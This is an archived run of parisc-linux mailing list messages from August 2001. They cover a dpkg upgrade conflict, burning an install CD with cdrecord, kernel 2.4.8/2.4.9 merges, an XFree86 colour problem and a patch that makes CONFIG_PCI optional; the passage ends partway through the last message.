> Preparing to replace dpkg 1.8.3 (using .../archives/dpkg_1.9.16_hppa.deb) ...
> Unpacking replacement dpkg ...
> dpkg: error processing /var/cache/apt/archives/dpkg_1.9.16_hppa.deb (--unpack):
>  trying to overwrite directory `/usr/share/locale/cs' in package texinfo with nondirectory
> dpkg-deb: subprocess paste killed by signal (Broken pipe)

Umm.  That's rather interesting.  an excerpt from dpkg --listfiles dpkg
on paer.debian.org:

/usr/share/locale
/usr/share/locale/cs
/usr/share/locale/cs/LC_MESSAGES
/usr/share/locale/cs/LC_MESSAGES/dpkg.mo

I seem to remember someone saying this was a bug in an old version
of dpkg.  So one way around this may be to dpkg --remove texinfo, then
install dpkg, then install texinfo again.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Users staying up to late. ;)
Date: Tue, 14 Aug 2001 23:37:24 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20010814233724.I26703@megatonmonkey.net>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620389 23749 80.91.229.3 (22 Nov 2014 01:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 21:36:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4A30482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 21:36:55 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7F3mIX00666;
	Tue, 14 Aug 2001 23:48:18 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7F3bPB28211;
	Tue, 14 Aug 2001 23:37:25 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Aug 15, 2001 at 04:16:10AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant ()
Xref: news.gmane.org gmane.linux.ports.parisc:11897


> > In general, I don't want to submit a bugreport and have the
> > list say "That's already fixed in the latest updated package" :)
> 
> That's fair enough.

Thanks for all the comments!

> 
> Yes, it does.  Until you've managed to get sully synced up to latest
> toolchain/libs/kernel at which point, it magically stops.
> 

Leading back to my reasoning at the start.
Things magically fix themselves when you get the latest package.
Atleast that's what the developers always say ;)

> > Linux node10 2.4.0 #37 Tue Jul 17 22:33:26 EDT 2001 parisc unknown
>
> OK, you _definitely_ need to update this.  You could pull from CVS or
> grab a snapshot tarball, see the webpages on how to do this.

True. Our nodes aren't running the latest kernel, but now that I see
the myriad of page_faults that many programs are causing, I will
be rolling a new one quite soon.

I had the auto-builder perl script working at one point.
Then I mucked about with it, broke it, and then never used it again.
I should get it going again, have been doing most of the kernel builds
by doing a quick CVS slurp and xcompile (Yes my PIII 450 is much
faster at compiling kernels ;) ... then again so is our newly acquired Dual
PIII 1.0GHz mmmmm.... -j16. god bless funding from the engineering
undergraduate society!)

> 
> I seem to remember someone saying this was a bug in an old version
> of dpkg.  So one way around this may be to dpkg --remove texinfo, then
> install dpkg, then install texinfo again.
>

I will try removing texinfo and then installing dpkg, and tell you 
if that was the fix.

TODO:

- Latest kernel.
- dpkg unintall-install-install.

Muchas gracias senores y senoras!

Cheers,
Carlos
--------------------------
Baldric Project
http://www.baldric.uwo.ca
--------------------------




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Creating the installation CD
Date: Tue, 14 Aug 2001 22:59:59 -0500 (CDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10108142258150.3789-100000@jesse.crash.lan>
References: <NEBBJAILOLAHGDBEOCIOAEFJCFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620389 23750 80.91.229.3 (22 Nov 2014 01:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jaime Ash <jaimeash@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 21:59:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta01-srv.alltel.net (mta01.alltel.net [166.102.165.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB7BE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 21:59:47 -0600 (MDT)
Original-Received: from [166.102.253.8] by mta01-srv.alltel.net with ESMTP
          id <20010815035945.MPSF4693.mta01-srv.alltel.net@[166.102.253.8]>;
          Tue, 14 Aug 2001 22:59:45 -0500
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <NEBBJAILOLAHGDBEOCIOAEFJCFAA.jaimeash@home.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11898

Jaime, 
 I use cdrecord and just cdrecord dev=0,6,0 speed=2 -eject file.iso but it
depends on your hardware as to the proper device if its scsi just  
cdrecord -scanbus and start from there. 

Hope I helped some. 
Terry

Achilles' Biological Findings:
        (1) If a child looks like his father, that's heredity.  If he
            looks like a neighbor, that's environment.
        (2) A lot of time has been wasted arguing over what came first
            -- the chicken or the egg.  It was undoubtedly the
            rooster.


On Tue, 14 Aug 2001, Jaime Ash wrote:

> I am in the process of trying to upgrade my PA-Linux machine (model HP 715)
> from version 0.6 to version 0.9.2, and also trying to install version 0.9.2
> on an HP 735.
> 
> I have already extracted the file named "palinux-0.9.2.iso" from the
> downloaded file, but I do not know how to proceed from there to create the
> installation CD.  (Note that for version 0.6 I had used an installation CD
> that I got from Grant Grundler, so I never learned how he created the CD,
> and now he is on LOA).
> 
> So my question to you is, what is the process for going from the *.iso file
> to create the CD.
> 
> Sincerely,
> 
> Jaime Ash
> email: jaimeash@home.com
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 






From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.8
Date: Wed, 15 Aug 2001 20:32:22 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010815203222.P22144@parcelfarce.linux.theplanet.co.uk>
References: <20010811145450.O22097@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620389 23755 80.91.229.3 (22 Nov 2014 01:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:49 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 15 13:32:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C155482A
	for <parisc-linux@parisc-linux.org>; Wed, 15 Aug 2001 13:32:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15X6Os-0006Ek-00
	for parisc-linux@parisc-linux.org; Wed, 15 Aug 2001 20:32:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010811145450.O22097@neep.com.au>; from andrew@neep.com.au on Sat, Aug 11, 2001 at 02:54:53PM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11899

On Sat, Aug 11, 2001 at 02:54:53PM +0800, Andrew Shugg wrote:
> Or less facetiously, is another CVS merge planned or are there problems
> in this release as with 2.4.7?  (Don't follow l-k and am just curious.)

Linux jagu 2.4.8-pa1 #9 Wed Aug 15 13:15:43 MDT 2001 parisc64 unknown           

*touch wood*, no new problems seem apparent.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 - white pixel is blue
Date: Wed, 15 Aug 2001 18:57:29 -0400
Organization: HP Response Center
Lines: 72
Approved: news@gmane.org
Message-ID: <3B7AFE59.160764FE@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620390 23757 80.91.229.3 (22 Nov 2014 01:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 15 16:57:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C7E6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Aug 2001 16:57:32 -0600 (MDT)
Original-Received: from i3107at1.atl.hp.com (i3107at1.atl.hp.com [15.45.88.34])
	by palrel2.hp.com (Postfix) with ESMTP id 1DF9A1679
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Aug 2001 15:57:31 -0700 (PDT)
Original-Received: from hp.com (cas1@wahoo.atl.hp.com [15.50.81.145])
	by i3107at1.atl.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id SAA24090
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Aug 2001 18:57:43 -0400 (EDT)
Original-Sender: cas1@i3107at1.atl.hp.com
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.00 9000/778)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11900

I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
driver. It seems to be OK, with the exception that "white" is "blue". If
I xwd the root  window dump and examine it on another X display, it
looks fine.

I know the monitor and cable are good. Also, the "HP" logo seen at the
boot is displayed correctly as is the STI text. I dug through the
mailing list archive, but can't find a similar case. 

Has anyone else seen this or have a suggestion of how to resolve the
problem? 

I'm including my XF86Config-4 file below.

-chuck


Section "ServerLayout"
        Identifier      "Single Head"
        Screen          0               "Screen0"
        InputDevice     "Mouse0"        "CorePointer"
        InputDevice     "Keyboard0"     "CoreKeyboard"
EndSection

Section "Files"
        FontPath "/usr/lib/X11/fonts/misc:unscaled"
        FontPath "/usr/lib/X11/fonts/100dpi:unscaled"
        FontPath "/usr/lib/X11/fonts/Speedo"
        FontPath "/usr/lib/X11/fonts/Type1"
        FontPath "/usr/lib/X11/fonts/75dpi:unscaled"
EndSection


Section "InputDevice"
        Identifier  "Keyboard0"
        Driver      "keyboard"
        Option      "XkbLayout" "us"
EndSection

Section "InputDevice"
        Identifier  "Mouse0"
        Driver      "mouse"
        Option      "Device" "/dev/psaux"
        Option      "Protocol" "PS/2"
        Option      "Emulate3Buttons" "off"
EndSection

Section "Monitor"
        Identifier "HPM900"
        VendorName "Hewlett-Packard"
        ModelName  "Unknown"
        HorizSync 31-95
        VertRefresh 50-150
EndSection

Section "Device"
        Driver "fbdev"
        Identifier "FrameBuffer"
EndSection

Section "Screen"
        Identifier "Screen0"
        Device "FrameBuffer"
        Monitor "HPM900"
        Subsection "Display"
                Depth 8
                Modes "1280x1024"
        EndSubSection
EndSection




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.9 merge
Date: Fri, 17 Aug 2001 01:30:14 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010817013014.H25133@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620390 23764 80.91.229.3 (22 Nov 2014 01:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 16 18:30:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34BF482A
	for <parisc-linux@parisc-linux.org>; Thu, 16 Aug 2001 18:30:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15XXWg-0000f4-00
	for parisc-linux@parisc-linux.org; Fri, 17 Aug 2001 01:30:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11901

A few conflicts:

Documentation/parisc/mm got deleted -- we already did this.
Makefile -- obvious conflict
arch/parisc/hpux/fs.c -- off_t changes to loff_t; we added an extra param, which is why upstream's patch doesn't apply.
drivers/char/tty_io.c -- part of our tree got applied
drivers/net/lasi_82596.c -- looks like changes from our tree, someone should check this properly.
drivers/sound/Makefile -- probably trivial haven't looked properly
drivers/video/fbcon-sti.c -- hunk #2 has already been done.
drivers/video/sticon-bmode.c -- now irrelevant
drivers/video/sticore.c -- ditto

that's it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Todd Nathan <todd@sensetalk.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Name dropping
Date: Thu, 16 Aug 2001 23:03:06 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <auto-000000760361@communigate.seinesys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v388)
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620390 23770 80.91.229.3 (22 Nov 2014 01:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 16 23:03:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from communigate.seinesys.com (unknown [216.17.166.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE52C482A
	for <parisc-linux@parisc-linux.org>; Thu, 16 Aug 2001 23:03:08 -0600 (MDT)
Original-Received: from [199.254.238.134] (HELO localhost)
  by communigate.seinesys.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 760361 for parisc-linux@parisc-linux.org; Fri, 17 Aug 2001 00:39:05 -0600
X-Mailer: Apple Mail (2.388)
Xref: news.gmane.org gmane.linux.ports.parisc:11902

Hello to all on this group.  I'm sitting here working on some FreeBSD 
stuff
and there is a guy in the complex named Paul.  Seems Pman is into the 
PaRisc Linux
port heavy duty, and such recommended that I show my interest for 
donated lowend
HPPA Risc hardware by offering to help on the project, and maybe someone 
locally
in the Ft Fun area (or nearby) would have a 712/80 or 715/100 or 
whatever to use
to work on optimizational work on the kernel or otherwise.  My question 
is this, I
don't want something for nothing, I'm ready to put a bit of fun 
contributional work to good
use and help, in something I enjoy.  I'm busy on other stuff 40+ hours a 
week and
enjoy that very much.  I'm able to contribute for 1.25 months at the 
most, would like
to do something like opti work, or testing or whatever that is going to 
help the project
that I can do, understand and have an intest.  I think and believe I 
need a system
here first, that would help surely.  To all, my question is this, who do 
I talk to about
getting a decent machine and monitor, mouse and keybaord for loan or 
donate tome
for this work to be done?  Thanks!

\t
---
Todd Nathan
SenseTalk(tm) Guy
Back On Solid Ground




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.9 merge
Date: Fri, 17 Aug 2001 06:55:07 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010817065507.I25133@parcelfarce.linux.theplanet.co.uk>
References: <20010817013014.H25133@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620391 23771 80.91.229.3 (22 Nov 2014 01:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 16 23:55:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F162E482A
	for <parisc-linux@parisc-linux.org>; Thu, 16 Aug 2001 23:55:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Xcb5-00072o-00; Fri, 17 Aug 2001 06:55:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010817013014.H25133@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Aug 17, 2001 at 01:30:14AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11903

On Fri, Aug 17, 2001 at 01:30:14AM +0100, Matthew Wilcox wrote:
> 
> A few conflicts:

Conflicts resolved...

2.4.9 adds the new kbd_rate method.  Currently this is defined as a
dummy op.  If you want to define it in your keyboard driver, go ahead.
I have 2.4.9-pa1 compiled; if it boots, I will commit it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Turn off CONFIG_PCI
Date: Fri, 17 Aug 2001 01:11:38 -0600
Lines: 85
Approved: news@gmane.org
Message-ID: <E15Xdn8-0000kt-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620391 23775 80.91.229.3 (22 Nov 2014 01:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 17 01:11:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 854E5482A
	for <parisc-linux@parisc-linux.org>; Fri, 17 Aug 2001 01:11:39 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 0D0A01F64E
	for <parisc-linux@parisc-linux.org>; Fri, 17 Aug 2001 03:10:29 -0400 (EDT)
Original-Received: from chrysl (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 8B0B24248
	for <parisc-linux@parisc-linux.org>; Fri, 17 Aug 2001 01:11:38 -0600 (MDT)
Original-Received: from willy by chrysl with local (Exim 3.12 #1 (Debian))
	id 15Xdn8-0000kt-00
	for <parisc-linux@parisc-linux.org>; Fri, 17 Aug 2001 01:11:38 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11904

A number of people have been asking for the ability to turn off CONFIG_PCI,
and while I was reviewing the outstanding diff vs 2.4.9, I noticed I could
take out some of the patch if I just made some slight alterations.  Please
test this patch; it compiles for me.

Index: drivers/char/serial.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/char/serial.c,v
retrieving revision 1.25
diff -u -p -r1.25 serial.c
--- serial.c	2001/08/17 06:10:06	1.25
+++ serial.c	2001/08/17 07:06:02
@@ -414,11 +414,7 @@ static _INLINE_ unsigned int serial_in(s
 		return readb((unsigned long) info->iomem_base +
 			     (offset<<info->iomem_reg_shift));
 	default:
-#if defined(CONFIG_PCI) || defined(CONFIG_ISA)
 		return inb(info->port + offset);
-#else
-		BUG();
-#endif
 	}
 }
 
@@ -437,11 +433,7 @@ static _INLINE_ void serial_out(struct a
 			      (offset<<info->iomem_reg_shift));
 		break;
 	default:
-#if defined(CONFIG_PCI) || defined(CONFIG_ISA)
 		outb(value, info->port+offset);
-#else
-		BUG();
-#endif
 	}
 }
 
Index: include/asm-parisc/io.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/io.h,v
retrieving revision 1.22
diff -u -p -r1.22 io.h
--- io.h	2001/07/15 22:30:29	1.22
+++ io.h	2001/08/17 07:06:03
@@ -43,9 +43,6 @@
 #endif /* USE_HPPA_IOREMAP */
 
 #if defined(CONFIG_PCI) || defined(CONFIG_ISA)
-/*
- *	So we get clear link errors 
- */
 extern unsigned char inb(unsigned long addr);
 extern unsigned short inw(unsigned long addr);
 extern unsigned int inl(unsigned long addr);
@@ -53,7 +50,28 @@ extern unsigned int inl(unsigned long ad
 extern void outb(unsigned char b, unsigned long addr);
 extern void outw(unsigned short b, unsigned long addr);
 extern void outl(unsigned int b, unsigned long addr);
+#else
+static inline char inb(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
 
+static inline short inw(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
+
+static inline int inl(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
+
+#define outb(x, y)	BUG()
+#define outw(x, y)	BUG()
+#define outl(x, y)	BUG()
 #endif
 
 extern void memcpy_fromio(void *dest, unsigned long src, int count);




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Fri, 17 Aug 2001 15:53:40 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20010817155340.C8649@megatonmonkey.net>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620391 23778 80.91.229.3 (22 Nov 2014 01:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:51 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 17 13:53:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB158482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Aug 2001 13:53:10 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7HK7NX21907;
	Fri, 17 Aug 2001 16:07:23 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7HJrea08926;
	Fri, 17 Aug 2001 15:53:40 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Aug 15, 2001 at 04:16:10AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11905

> 
> /usr/share/locale
> /usr/share/locale/cs
> /usr/share/locale/cs/LC_MESSAGES
> /usr/share/locale/cs/LC_MESSAGES/dpkg.mo
> 
> I seem to remember someone saying this was a bug in an old version
> of dpkg.  So one way around this may be to dpkg --remove texinfo, then
> install dpkg, then install texinfo again.
>

I tried removing texinfo. Sadly, what proceeds to occur is a 
relative chain of packages that continually depend on 
/usr/share/locale/cs, all the way down to 'tar.' At which point
I had lost most of my system functionality and was scp'ing 
binaries into /bin to keep it alive.

A fruitless effort, but interesting none the less. ;)

When I get home tonight I'll roll a new kernel and do more testing.

How does the installer get around this problem?
Since it too must start with a base system?
(Maybe it's just my misunderstanding of the complete inner workings
of hte installer).

Cheers,
Carlos.


 




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jaime Ash" <jaimeash@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: FW: [parisc-linux] Creating the installation CD
Date: Fri, 17 Aug 2001 18:28:27 -0700
Lines: 156
Approved: news@gmane.org
Message-ID: <NEBBJAILOLAHGDBEOCIOKEGOCFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620392 23780 80.91.229.3 (22 Nov 2014 01:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:52 +0000 (UTC)
Cc: "Jaime Ash" <jaimeash@home.com>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 17 19:28:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51465482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Aug 2001 19:28:03 -0600 (MDT)
Original-Received: from jaimesnewpc ([24.254.24.106]) by femail6.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20010818012801.DIQL15121.femail6.sdc1.sfba.home.com@jaimesnewpc>;
          Fri, 17 Aug 2001 18:28:01 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:11906

I finally succeeded in recording a CD using MSWindows and Easy CD Creator,
but I am
